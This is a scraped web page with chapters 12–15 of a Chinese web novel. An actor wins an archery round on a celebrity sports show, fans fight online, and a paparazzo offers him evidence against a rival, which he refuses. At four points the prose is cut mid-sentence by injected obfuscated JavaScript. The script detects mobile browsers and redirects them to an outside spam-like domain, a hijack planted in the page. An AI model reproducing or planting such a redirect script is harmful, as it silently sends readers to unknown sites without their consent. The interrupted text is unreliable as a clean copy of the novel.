;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891939|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车上,却没有立即离开,从后视镜中窥见陆星哲朝反方向驶离,这才发动车子回家。 今天恰好是周六,《星运会》第一轮淘汰赛晚八点在体育台播放,鉴于这几天苏格淘汰的事闹得满城风雨,有人说他实力不济,有人说他受伤导致,不少吃瓜群众都在电视机前蹲点守候,想深扒一下真正原因。 艺人的水平和专业赛手没办法相比较,除了榜首几名的成绩尚可入眼,后面几乎惨不忍睹,真正的半斤八两谁也别笑谁,再加上席年排名赛中垫底的分数,因此不少人都认为苏格是因伤失利。 【不多说,我就来看看苏千刀是怎么输的,看完我就走】 苏格脸上动过刀,不少地方都微调过,算是一个抹不去的黑称,而格子粉对此类称呼最为敏感,哗啦啦就炸出了一大群。 【千刀什么千刀?我看你就是个挨千刀的,嫉妒苏格就直说,别拐弯抹角】 【苏格纯天然盛世美颜谢谢,只是小时候脸侧摔伤缝过针,请黑子不要捕风捉影】 【话全都让某家粉说了,赛前鼓吹苏格一定夺冠的貌似也是你们,脸疼不疼啊?】 【意外情况谁也不敢保证,但我可以说,苏格如果没受伤,有八成几率可以夺冠】 孟浅霖和俞凡的粉丝闻言怒了,你拿我家爱豆当死人啊?!苏格才领先第二名两环而已,八成几率你们怎么有脸说的出口?! 不出意料,三方人马又对撕了起来,评论区楼层数肉眼可见的增加,怎一个腥风血雨了得,就在这时,一条评论悄无声息冒了头。 【今天二轮淘汰赛我去过现场,个人认为最有可能夺冠的是九号席年,十二箭连中十环,实力确实强硬】 发评论的用户是一个大V,认证名为某射击场的私人教练,说话不偏不倚,没有拉踩任何人,却偏偏被格子粉对号入座,个个都像被踩了痛脚一般。 【楼上收了多少黑钱,一起赚,私我】 【倒数第一,实力确实强硬呢】 【十二箭连中十环????认真的??吹过了吧???】 从前几天开始,席年被冷嘲热讽就已经成了惯例,但今天却意外多出了一小股反驳的声音。 【是不是真的实力强硬,看电视就知道了,在此奉劝某家粉嘴上积德,免得等会儿打脸太疼】 【席年虽然粉丝少,但不代表什么阿猫阿狗都能来踩上一脚,亲眼见过就知道了,人帅心地好,谁骂他就是瞎】 【节目快开始了!年糕过来集合,一起舔我席哥盛世美颜!!】 陆星哲披着睡袍从浴室出来,头发还湿漉漉滴着水,他随手往脑后一捋,然后在电脑桌前落座,谁料又像被扯到什么痛处似的,一个激灵坐直了身体。 “妈的。” 陆星哲龇牙咧嘴的揉了揉后腰,心中暗骂席年缺德,签名签哪里不好,非要签身上,他皮都快搓掉了才把墨水洗掉。 墙上挂钟滴滴答答,不偏不倚指向八点,陆星哲扫了一眼,然后打开电脑,登录进体育台官网,《星运会》刚好开播。 12. 节目播放 见时间一到,原本骂战不休的评论区总算静了下来,绝大多数网友都把注意力转向了电视,主办方喜欢将有看点的部分剪辑在中间时段,她们耐着性子等主持人念完那一长串感谢赞助商的词,又观看完女子组的比赛,男子组赛事这才开始。 苏格身为TR的男团主唱,除了唱功过得去,最大的吸粉原因还得归功于那张脸,精致俊秀,皮肤白净,看第一眼觉得惊艳,但第二眼就会觉得匠气过重。 偏偏他的粉丝并不这么认为,当苏格的身形出现在屏幕上时,评论区的几个顶头大粉已经开始在送鲜花刷屏了,清一色的盖楼喊“哥哥好帅”,尤其当他开局箭射中一个九环时,彩虹屁更是吹上了天。 【我就说苏格最有可能夺冠了,要不是因为受伤淘汰,鹿死谁手尚未可知】 【苏格的粉丝都是小学生?他都出道多少年了你们怎么还改不了瞎吹的臭毛病,孟浅霖的胜算也很大好不好?】 【对不起,打扰一下,苏格被淘汰,孟浅霖第三,你们把第二名的俞凡置于何地?】 评论区几方混战,争论着冠军的归属,却没有任何人提到席年的名字,他的粉丝刚刚凝聚成形,粘度不高,就算冒泡发言,不多时也被压了下去。 众人正争论着,只见屏幕上的镜头忽然转向了一名男子,不约而同停住了。 席年这个名字网友并不陌生,因为和苏格牵扯在一起,身份信息基本上被扒了个遍,然而因为太凉的缘故,百度信息栏只有几张少得可怜的平面硬照,再就是刚出道时在某部青春片里客串的男n号,面容青涩,演技稚嫩,实在难让人留下什么映像。 唯一频繁活跃的近期照,大概就是最近网上流传甚广,席年对苏格冷脸的那张模糊动图。 这是她们第一次真正意义上认识席年。 高清镜头对准他全身,然后缓缓拉近给了一个特写,男子五官俊美流畅,像是在纸上勾勒出的工笔画,却又冷峻至极,抬眼一瞬,淡漠桀骜,摄人心神。 这样一副面相,倒不让人怀疑他对苏格甩冷脸这件事的真实性,偏偏不让人觉得讨厌。 评论区罕见的安静了几秒,然后瞬间陷入沸腾。 【啊啊啊啊啊土拨鼠尖叫!!!!快快快!三秒钟我要这个男人的所有资料!!!!】 【!!!!!(帅到失语)为什么没有人告诉我席年这么帅】 【淦!又冷又俊,戳死我审美点了】 【感觉真人比照片上好看一百倍啊一百倍!我是不是瞎了,看这么多期星运会居然没发现有个绝世大帅哥!!】 苏格粉丝怒而掀桌:他妈的你们清醒一点好不好!这是席年啊!! 场上解说员的声音依旧没停:“……现在轮到九号选手席年射箭,他上一场的排名赛不是很理想,不知道这一局能不能逆风翻盘,真是让人替他捏把汗……” 屏幕中,席年眼神淡漠,没有丝毫改变,直到他搭箭开弓,气势才忽而有了翻天覆地的变化,像长剑出鞘,锋芒毕露。观众只见眼前嗖的一道黑影闪过,伴随着破空声,不远处的靶上就多了一支箭。 尾端还在微微颤动,却是正中圆心。 “九号席年,第一组第一箭,十环。” 动作利落,准头精确,这让之前怀疑他瞎猫碰上死耗子的人喉咙都像堵了东西似的,什么话都说不出来。 无他,席年实在是自信沉稳,看不出半分误打误撞。 有少数几个路人被刚才那短暂的几秒钟镜头圈粉,纷纷捂着心脏陷入窒息状态。 【妈妈呀,长腿窄腰,身材好就算了,脸还这么好看,这种成熟型帅哥简直可遇不可求,苏格跟席年一比,完全就像刚毕业的小屁孩】 【席年拉弓的力道一看就比苏格强,而且命中十环,为什么会有人说他是走运才赢的?(黑人问号脸)】 【求席年的粉丝后援群!】 这个时候就显出了苏格经纪团队的手段高超性,之前官博上自爆受伤的内容几乎成为了尚方宝剑,百试百灵,无论谁诟病苏格的实力,粉丝直接一句话堵回去:苏格手受伤了才输的,中十环有什么了不起,苏格如果没受伤,也能中十环! 别人明知她们夸大其词,却找不出话怼回去,只能在心里安慰自己,不和脑残粉计较。 目前苏格的粉丝依旧在评论区控评,无论别人说什么,她们总有千百种理由,然而随着赛事往后推进,众人看着席年的成绩栏纷纷陷入了震惊状态。 十环。 十环。 还是十环。 接连七支箭,他几乎都毫无差错的命中了靶上的黄色内圈,而且还是接连命中,在此之前,网友虽然知道席年赢了苏格,但绝想不到是这样近乎碾压式的胜利。 现在别说苏格受了伤,就算没受伤,胜率也几乎堪称渺茫。 网友中到底有眼睛雪亮的,更何况看不惯苏格的大有人在,一时间舆论风向飞速调头,开始细究前段时间的“受伤淘汰”事件。 【恕我直言,苏格真的是因为受伤才被淘汰的吗?(狗头保命)席年这水平实力,感觉就算苏格巅峰期对上都有点勉强啊】 【自信点,把那个有点去掉】 【妈呀,我还以为席年侥幸才赢的,结果……他妈的清一色十环,格子粉是怎么有脸到处说人家走狗屎运?】 【真是人面不知何处去】 一时间众说纷纭,苏格庞大的粉丝流量都有点难以控评。 陆星哲一直坐在电脑前观看比赛,进行到最后一组的时候,他敏锐发现孙铭在场外给席年打手势的镜头被删减了,于是当苏格命中七环,席年被迫降低实力命中八环时,苏格粉丝再次跳了出来。 【刚才谁说席年清一色十环的?烦请出来一下】 甚至还有披皮黑:【不是吧不是吧,我以为席年那么厉害,能次次十环的】 【阿这……水平下降的猝不及防,该不会前面十环真的是走狗屎运吧】 年糕直接怼了回去:【没中十环怎么了?!瞅瞅你家鳖犊子玩意中的七环再说!】 也许是席年前面命中率太高,导致大家对他后面的成绩抱有太大期望,当冷不丁命中一个八环时,都有些幻想破灭的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891940|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受,而有些指望他能狠狠打苏格脸的人则更是惋惜不已。 席年的表情却没有任何波澜,似乎无论中十环还是中八环对他来说都没有任何区别,唯一有所改变的就是他的瞄准时间,越来越短,越来越短,最后直接给人一种近乎敷衍的感觉。 苏格中六环,他中七环。 苏格中七环,他中八环。 同样三十秒的瞄靶时间,苏格花了近乎二十多秒,席年从搭箭到拉弓,只用了不到五秒。 渐渐的,终于有人看出了端倪。 【是我的错觉吗,怎么感觉席年在故意让苏格,脸上表情好敷衍哈哈哈哈】 【0演技让分,绝了,哥哥好拽我好爱】 【席年在控分吧,不然怎么那么巧,次次都压苏格一头,不过我想不明白为什么,难道帅哥都这么特立独行】 【控分加一,我以为只有我一个人发现了】 【控分+2】 …… 世上还有什么比对手故意让着你更屈辱的事吗,显然没有,席年实力碾压的太厉害,苏格的粉丝心中都有些惴惴不安,却又因为对爱豆的滤镜太厚,习惯性替他找理由开脱。 席年如果真的实力强悍,为什么后面命中的十环寥寥无几,再说了,他无缘无故为什么要让着苏格,分明是故弄玄虚。 席年为什么要让着苏格? 这个问题没人能回答,于是评论区开始渐渐被带离了风向,直到某个去过比赛现场的观众发布了一条评论。 【席年后面没有命中十环,私人猜测可能是因为他受伤了,有幸去过二轮淘汰赛现场,他的手好像出了点状况,我还以为是意外情况,但是刚才看节目,原来他的手这个时候就已经有点不太妙了】 蹲点看比赛的人不在少数,在四周高清镜头的环绕下,席年私下揉手腕的动作暴露无遗,再加上他有几次拉弓的动作都显得有些滞涩,明眼人仔细一看就能发现问题。 【席年也受伤了?真的假的,不会这么巧吧?】 【可能是真的,我刚才看他手臂发力好像有些不太对劲】 【妈呀,席年居然受伤了】 【我的天,受伤了还能中这么多十环,比某家粉到处哭惨强太多了吧(狗头)】 苏格的粉丝气的脸色发青,她们直觉席年就是想踩着苏格上位,现在忽然曝受伤,肯定是背后买了水军,尽管一些理智的大粉在告诫不要乱撕,但还是有些脑残毒唯直接开战了。 【受伤?笑死了,什么时候出殡?】 【苏格比赛你比赛,苏格射箭你射箭,苏格受伤你也受伤,某人的脸还能不能要了,真以为模仿苏格就能火?热度不是那么好蹭的!】 年糕见她们把席年骂的那么难听,个个火冒三丈,纷纷化身键盘侠回怼,奈何因为人群基数过少,再加上不如苏格粉丝身经百战,哪里骂得过。 现在评论区一面倒的被控评,说席年蹭热度。 陆星哲见状轻笑一声,登录小号,噼里啪啦敲了一行字回复过去—— 蹭热度怎么了,我们就蹭蹭,又不进去。 13. 这一世,干干净净的登上顶峰 陆星哲不仅名声臭,嘴也毒,轻飘飘一句话就能把别人气的原地去世,不过他觉得骂人都是小儿科,不痛不痒,要玩就玩把大的。 例如,苏格假受伤的事。 再例如,孙铭在场外逼迫席年比赛让步的事…… 陆星哲看热闹不嫌事大,他打开电脑文件夹,然后把之前拷贝好的视频进行剪辑处理,着重放大苏格那双“受伤”的手,然而还没剪完,一个熟悉的电话号码就打了过来。 来电备注是蒋伦,这个名字对圈内人来说并不陌生,因为他就是苏格的经纪人。 陆星哲正忙着,原本没打算接,但不知想起什么,又改了主意,伸手把电话捞过来递到耳边,按下接听键:“什么事?” 听语气,像是熟识。 蒋伦是一名四十多岁的中年男子,因为长年抽烟。嗓子沙哑难听:“想和你谈笔生意。” 陆星哲眉梢微挑,心中忽然猜到了他的来意:“说吧,看在你是老顾客的份上,打九折。” 蒋伦缓缓吐出两个字:“席年。” 他说:“不管你用什么办法,编也好捏也好,三天之内,我要他的黑料,而且是不能翻身的那种。” 陆星哲没说话,指尖在眉尾缓缓打转,心知是今天节目播出席年威胁到苏格的人气了,似笑非笑的道:“啧,这么毒。” 蒋伦目前正处于焦头烂额的状态,没察觉到他语气中暗藏的深意:“总之钱少不了你的,老规矩,定金我一会儿打到你账户。” 这是一笔稳赚不赔的买卖,谁知陆星哲摸着下巴思考半天,竟破天荒的拒绝了:“不着急,等交货的时候再说吧。” 蒋伦不疑有他:“行。” 在娱乐圈,流言蜚语是一把不沾血的刀,蒋伦显然不是第一次用这种方法来替手底下的艺人清除障碍了,陆星哲勉强把他敷衍过去,然后挂断了电话。 窗外夜色渐深,原本停歇的雨不知何时又下了起来,滴滴答答敲在玻璃上,发出一阵密集且轻微的声响,却无端显得房间愈发安静。 陆星哲剪完视频,从电脑桌前起身,然后一瘸一拐的上床睡觉,他没有关灯的习惯,就喜欢亮亮堂堂的感觉,一件蓝白色的外套静静搭在床尾,无声彰显着存在感。 他的腿还是有些疼。 陆星哲睡不着,第一次觉得灯光有些晃眼,他听着外面簌簌的冷雨声,不知道为什么,忽然想起了自己被撞车的那个夜晚。 暗沉的天空,交错的树影,毫无预兆出现的男人,衣襟上气息微凉,能让人感觉到从骨子里透出的淡漠,怀抱却是暖的。 陆星哲自认为绝不是那种别人伸手救他一次就会感恩戴德的可怜虫,但事实上,他想起席年的次数却越来越多。 因为床上人的辗转反侧,那件外套悄无声息下滑,快要落到地板上的时候,又被一只手敏捷的捞了过去。 陆星哲目光透过外套,隐隐在看另一个人,他想起蒋伦刚才说的事,撇撇嘴,又有些幸灾乐祸,低声自言自语道:“这次你可栽我手里了。” 《星运会》的收视率一向居高不下,昨晚第一轮淘汰赛播出后,相关话题热度直线飙升,除了国民小花沈希琳在体操赛上的精彩表演,还有一个人的蹿红出乎了所有人的意料。 #席年赛场惊艳,逆风翻盘# #星运会夺冠热门选手排名# 一夜时间而已,与席年有关的相关热搜词如雨后春笋般纷纷冒出,就连超星榜上的排名也坐火箭似的直线蹿升,微博粉丝量和超话帖一改从前的冷锅热灶,渐渐有了人气。 【(图片)(图片)(图片)席年盛世美颜,快来舔,呜呜呜我以前一定是瞎了,为什么从没发现娱乐圈还有这么好看的人】 【是不是长得好看的人都不爱发自拍,哥哥网上的照片少得可怜,想舔颜值居然只能扒比赛截图,卑微】 【从来没见过拽得这么让人喜欢的脸】 【那天我去过比赛现场,席年看起来虽然冷冰冰,但人超好,不仅给我们签名,下雨的时候还特地给我们送了雨衣,不红天理难容】 【羡慕了QAQ】 外面仍是阴雨连绵,高楼大厦隐入云层,高得一眼望不到头,这座繁华的城市总是不断有人在攀爬,然后又不断的有人在跌落。 席年一夜未眠,盘腿坐在地板上,身旁的烟灰缸堆满了燃尽的烟蒂,他一直盯着手机,亲眼看见他的微博粉丝数量是怎样飞速上涨,相关热帖是如何被人频繁转发,最后盯得久了,所有花花绿绿的页面都变成了一个冷冰冰的数据。 席年该高兴的,因为他想要的就是这些,但高兴过后,又有些说不上来的感觉,觉得老天爷在作弄他。 他上辈子折腾那么多,最后闹得身败名裂,为的就是有今天,但曾经可望不可及的东西却在这一世轻易得到,运气这种事,果然是谁都说不准的。 系统一直关注着他的情况,见席年用手抵着额头不说话,静悄悄落在了他的身边:【其实有时候坚持的久一点,结局未必会很坏】 席年指尖的烟还未燃尽,他掸了掸烟灰:“少给我灌心灵鸡汤。” 人到了一定的年纪,该懂的道理其实都懂了,他们知道杀人犯法,他们知道路不拾遗,但又怎么样呢,还是活成了千百种不同的样子。 于是系统很早就知道,讲道理是没用的,得电击。 它的声音永远带着刺啦刺啦的电流响,像是在提醒什么:【别走错路……】 这辈子,干干净净的登上顶峰。 席年闻言一顿,然后被星火撩到指尖,触电般缩回了手,他从地上起身,觉得系统太天真,有捷径为什么不走,娱乐圈那些衣着光鲜的人,又有几个手上是干净的? 陆星哲一直在楼下蹲点,直到下午的时候,才终于看见席年出门,他见状指尖在方向盘上轻敲片刻,像是在思索什么,最后还是决定发动车子跟上。 熟悉席年的人都知道,他不喜欢到处乱跑,除了工作原因,基本上都待在家里,刚才临时接到医院通知去复查伤势,这才出门。 陆星哲一直跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891941|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后面,他以为席年这个时间出门多半会去酒吧那种地方,结果没想到去的是医院,心中隐隐猜到什么,就没跟上楼,而是坐在车里继续等。 过了大概二十分钟左右,席年拎着一袋子药从医院出来了,陆星哲见他上车,正准备跟上,谁曾想一辆不起眼的黑色轿车却先他一步跟在了席年后面。 起初陆星哲没在意,只以为是巧合,可当对方接连几个路口都紧随其后时,他终于发现了不对劲。前方有一个弯道口,陆星哲不着痕迹加速超车,与对方并排的时候往外看了眼,结果透过车窗玻璃发现副驾驶座上放着一部黑色相机。 陆星哲收回视线,原来是同行。 八成是蒋伦那个老狐狸派出来的,毕竟娱乐圈的狗仔又不止他一个,多找个人就多一份保障。 陆星哲看热闹不嫌事大,用手机拨了一串号码出去,没响两声就接通了,那头传来一道熟悉的男声,赫然是席年,因为抽了太多烟,嗓子有些沙沙的:“找我有事?” 陆星哲不远不近的跟在后面,闻言啧了一声:“真冷漠,我可是好心给你通风报信的。” 席年不信他有这么好心:“什么意思?” 陆星哲故意把车开到席年的视线死角:“你回头看看就知道了。” 席年闻言往后视镜中扫了眼,见一辆黑色轿车跟在后面,司机是一名瘦高男子,心中瞬间明白了是怎么回事,却不在意:“原来有跟屁虫。” 陆星哲既然能打电话通风报信,那就说明他也在附近,席年这句话直接把他也给骂进去了。 陆星哲低笑:“我可是好心,万一你出去嫖的时候被人拍了照,那就不好了。” 席年不着痕迹放慢速度:“你打电话来就是为了说这个?” 陆星哲说:“当然不是。” 他顿了顿,声音忽然蒙上一层暧昧,像蜜糖一样丝丝缕缕的粘人:“跟你谈笔生意。” 席年老觉得这句话很熟悉,像是在哪儿听过,却又想不起来,陆星哲这个人行事一向捉摸不定,他现在也没摸清楚几分规律,闻言并没有立即答应:“我不觉得我们有什么生意可以谈。” 陆星哲的头发被车窗外冷风吹乱,有些许扎进眼睛,他不自觉眯了眯眼:“你可以拒绝。” “……” 席年闻言思考三秒,明知有圈套,但还是好奇心占了上风,想知道陆星哲在打什么小算盘:“行。” 瘦高男子的跟踪技术实在太糟糕,席年从出门开始就发现他了,不管只是懒得理会,现在甩掉也是分分钟的事,他兜着附近绕了一大圈路,确定对方没再跟上来,这才驱车回家,把车停在了楼底下。 席年打开车门下车,正准备联系陆星哲,眼角余光一瞥,却在不远处看见了一抹熟悉的身影,不由得顿住脚步。 陆星哲一瘸一拐的走到他跟前,今天难得穿了一件白色的休闲衫,依旧戴棒球帽,相机不离手,看见席年时,唇角微勾,轻佻的吹了声口哨。 席年:“……” 一看就是个流氓。 14. 他犹豫着,深恐一念坠尘 临近天黑,下了一天的雨总算有所和缓,但路面四处都是积水,陆星哲先是左右看了一圈,目光这才落在席年身上:“找个地方聊吧。” 席年身份敏感,也不想被人认出来,闻言道:“对面有个咖啡馆。” 陆星哲略微抬起头,帽檐的阴影顺着错开半分,露出他殷红的唇和尖尖的下巴,白色休闲衫松松穿在身上,肩线单薄:“咖啡有什么好喝的,反正都到你家楼下了,不带个路?” 语气理所当然,甚至带着些自来熟。 席年没答应:“我拒绝。” 陆星哲很是无赖,他拍了拍自己还没拆纱布的腿,唇边笑意狭促:“那怎么办,我腿疼走不了路,你要是背我去咖啡馆,我无所谓啊。” 席年无动于衷,语气带了些许淡淡的讥讽:“你跟踪我的时候怎么不喊腿疼。” 陆星哲:“坐车里当然不一样,踩踩刹车油门就行了,走路可是伤筋动骨的大事。” 他双手抱臂,一副无赖样,让人很想把他按在地上打一顿。席年闻言静默几秒,然后转身一言不发的朝着家里走去。 陆星哲见状似笑非笑,然后压低帽檐左右环视一圈,确定没有可疑人偷拍之后,这才一瘸一拐的跟上。 席年故意走的很快,甚至多绕了几条路,等走到电梯间的时候,才终于回头看了一眼,却见陆星哲一直跟在后面,仅慢了他几步的距离。 电梯没有到,还在缓慢下降。 陆星哲一瘸一拐的走到他身边,然后侧靠着墙,不知是不是因为走的太急,呼吸有些沉,他叹口气,然后又笑看向席年:“你是不是故意绕路了。” 席年难得看他吃瘪,反问回去:“是又怎么样?” 陆星哲大部分时间都是一副笑面狐狸的模样,很少见他真正生气,但背地里坑起人却从不手软:“不怎么样,不过我想跟的人从来没跟丢过。” 电梯叮的一声到了,里面空无一人,席年走进去按键,状似不经意问道:“这么说你是狗仔?” 陆星哲这才想起他还没告诉过席年自己的身份,连名字都没正式介绍过,闻言罕见的沉默片刻,然后又慢悠悠的道:“你说是就是吧。” 他大抵也知道自己名声太臭,并没有正面回答。 席年私人领地意识很严重,很少带别人踏足自己家,他掏出钥匙开门,顿了顿,莫名有一种引狼入室的感觉,想说什么,到底又没有说。 席年身为一个小糊豆,住的地方算不上多豪华,勉勉强强够住人,陆星哲打量了一下四周,只觉得摆设冷冷清清,视线看向沙发:“不介意我坐一下吧?” 席年打开冰箱,拿出两瓶饮料:“如果我介意的话,你会一直站着吗?” 陆星哲扶着伤腿在沙发上落座:“当然不会。” 席年在他面前放了一罐柠檬茶,气息一触即离:“要和我谈什么生意,说吧。” 陆星哲支着头打量他,指尖在眉尾缓缓摩挲,顶上的灯光落在身上,整个人有一种说不清道不明的稠丽,忽然正经起来,让人有些不适应:“你最近得罪了不少人。” 席年在一旁落座,心头很快浮现出一个名字:“苏格?” 陆星哲说:“不,是他的经纪人,蒋伦收买了不少狗仔,准备扒你的黑料。” 苏格充其量就是个小傀儡,真正有手段的是蒋伦,他在山行娱乐工作将近十年,手底下的艺人却个个爆红,其实力可见一斑,不是轻易就能扳倒的。 席年若有所思,面上却没有表露出来,他双腿交叠,身形向后倒入沙发:“所以你有什么生意要和我谈?” 他此时心中竟暗自松了口气,幸亏当初收拾苏格的时候被系统给拦住了,不然留到今天就成了隐患。 陆星哲从随身背着的相机包里拿出一个信封,在席年眼前晃了晃,意有所指的道:“我的底牌很多,只是看你出不出的起价钱。” 席年从不怀疑陆星哲当狗仔的实力,闻言心念一动,就知道对方一定是有大料,伸手想接过信封,却没抽动,微微抬眼,却见陆星哲正似笑非笑的看着自己。 席年顿了顿,眼底不着痕迹滑过一抹暗芒,他捏住信封的手下落半寸,不着痕迹覆上陆星哲微凉的指尖,唇角微勾,笑起来的时候,令人脸红心跳:“你总得让我看看货,才知道值什么价。” 陆星哲看了眼他攥住自己的手,指尖力道不自觉松懈:“我没说不让你看。” 信封落到了席年手上,他打开一看,却见里面是厚厚的一摞照片,粗略估计有三十多张,有苏格比赛时的手部特写,也有他微博卖惨自称受伤的手腕青紫图,还有…… 苏格在休息室故意用开水烫席年的照片。 陆星哲见席年似是怔住,捏着手机有一下没一下的转着圈:“原视频已经被蒋伦找人销毁了,不过很巧,我有备份。” 那天第二轮淘汰赛结束后,他跟着席年去了休息室,结果没想到听见他和苏格的对话,从那个时候他就对席年受伤的事起了疑心,加上事情发生没多久,很容易就找到了证据。 苏格做了亏心事,迟迟不敢告诉蒋伦,后来怕事情败露才说出口,哪怕蒋伦已经动作迅速的抹除了所有证据,但还是晚了一步。 席年的人气正处于上升期,如果把这些料爆出去,无益是个天大的助力,而且还能扳倒苏格,堪称一举多得。 照片大概是刚刚打印出来的,边缘棱角有些锋利割手,席年把照片缓缓收拢,摞成齐整的一叠,向上攀爬的本性难改,此时他不得不承认,这笔生意着实令人心动。 系统怕他走上老路,有心出言提醒,但这些事苏格确实做过,并不是凭空捏造的黑料,系统也无权干涉,蓝光一闪而过,又暗了下去。 墙上的挂钟滴滴答答,像是过了很久,又好像只过了几分钟,席年把照片放入信封袋,声音在室内清晰响起:“开个价吧。” 陆星哲并不意外他的反应,支着下巴思考片刻,故意开了一个对目前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891942|176506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席年来说不太能承担得起的价格:“视频加照片,五十万。” 明星是挣钱不错,但那只针对热度高的,普通小艺人不仅要花钱包装,还得为了接戏请客吃饭,未必比打工人强到哪里,房子都是租的,现在别说五十万,二十万席年能不能凑出来都是问题。 席年直截了当的道:“没有。” 陆星哲似乎有些可惜,他从沙发上站起,然后俯身靠近席年,一手撑在他身侧,一手捏住信封,声音暗哑暧昧:“虽然我很想帮你,不过爱莫能助了。” 到手的利益没人会往外推,更何况娱乐圈最难等的就是机遇,席年的思绪有一瞬间混乱,面上却没让人看出来,他捏住陆星哲的下巴,指腹紧贴着对方细腻光洁的皮肤:“……是吗,但是我看不见你的诚意。” 他们两个挨得太近,呼吸交融在一起,不分彼此,席年衣襟上的气息冷冷淡淡,好似又回到了那个撞车的夜晚。 陆星哲故意又离他近了一点,见席年没有像以前一样躲闪开来,唇边弧度渐深:“啧,我拖着一条伤腿大老远跑来见你,还不够诚意么。” 席年的思绪越来越乱,对名利的渴求驱使着他前行,理智却规劝他避开面前狡猾的狗仔,偏偏没人该告诉他这一世该怎么选。 陆星哲见他久不言语,睨着他道:“其实我对钱不感兴趣。” 做为一个眼中只有利益的狗仔,这句当然是假话,只是,他现在对席年的兴趣远远大于金钱。 从小到大,没有人教导陆星哲什么是善恶错对,养成了他行事乖戾的性格,他随心所欲惯了,不觉得对一个男人感兴趣这件事有多离经叛道。 席年当然明白他在说什么,捏住信封的右手微微收紧,许久也没松开,他从沙发上起身,直视着陆星哲的眼睛,声音低沉:“那你对什么感兴趣?” 陆星哲闻言,缓缓靠近他耳畔,这次挨得太近,和脸贴脸没什么区别:“……你。” 他那么轻巧的就说出了这个字,却不同于平常的嬉笑,带着难得的认真。 陆星哲说:“席年,我可以帮你红,” “以后不会再有人欺负你,也没有人能往你身上泼脏水,苏格现在有的荣耀,将来的一天你都会有。” 他一字一句,余息带着蛊惑,当最后一个字音落下的时候,席年脑子里似乎有根弦嗡的一声断了,他攥住陆星哲的手忽然不受控制收紧,然后毫无预兆将他拉了过来,胸膛紧贴着,心跳震动。 席年知道他说的是真话。 上辈子这个人曾亲手将他送上神坛,只是后来跌落时,也是由他狠狠拽下去的。 席年以为自己不在意这件事,但直到今天,他才发现心中扎着一根刺,已经生了桎梏。 陆星哲没料到席年的举动,被男子炙热的气息包裹着,罕见的有瞬间无措,耳根微微发红。 他垂眸,睫毛在眼下打落一片阴影,片刻后,抬头看向他,似是在保证什么:“席年,我不会害你的。” 15. 塌房了 他如果想要钱,大可以直接把这些照片卖给蒋伦,而不是来找席年。 现在毁誉参半,一无所有的席年。 席年没说话,他的目光暗沉复杂,里面似乎有一段别人永远都窥不见的往事。陆星哲只感觉对方攥住自己的手松了紧,紧了松,几欲将他腕骨捏碎。 他们上辈子似乎也是这么开始的,席年贪图和陆星哲带来的捷径,有了第一次,就有第二次第三次,到后来,就像两股打成死结的线,解不开甩不掉。 席年很想出人头地,但在他看来,如果和陆星哲纠缠在一起,结局一定和上辈子大同小异。 撞过一次南墙就算了,何必撞第二次。 或许是为了前途,或许是为了心底那根刺,又或者为了某些说不清道不明的东西,席年缓缓松开了攥住陆星哲的手,被利欲熏得滚烫的心骤然冰冷下来,前后不过几息时间而已。 “不好意思,” 席年在陆星哲的注视下后退了一步,像是至此从某个深陷的泥潭中抽身离开:“我想你的生意我出不起价格,照片还是卖给别人吧。” 和聪明人说话不需要点的太透,陆星哲闻言几乎瞬间明白了席年的意思,他身形微不可察的僵了僵,缓缓挺直脊背,习惯性想勾唇,但扯了扯嘴角,没能成功,干脆就放弃了。 陆星哲问:“因为我是个见不得光的狗仔?” 语气漫不经心,甚至称得上心平气和。 这只是原因之一,但席年不想解释,他没说话,算是默认。 陆星哲微不可察的静默一瞬:“好,我知道了。” 也不知道他知道了什么。 陆星哲俯身从沙发上捞过自己的相机包,片刻后,再抬头时,他对着席年笑了笑,一惯轻佻风流,但偏偏给人一种硬生生笑出来的感觉:“喂,” 陆星哲说:“买卖不成仁义在,蒋伦盯上你了,好自为之。” 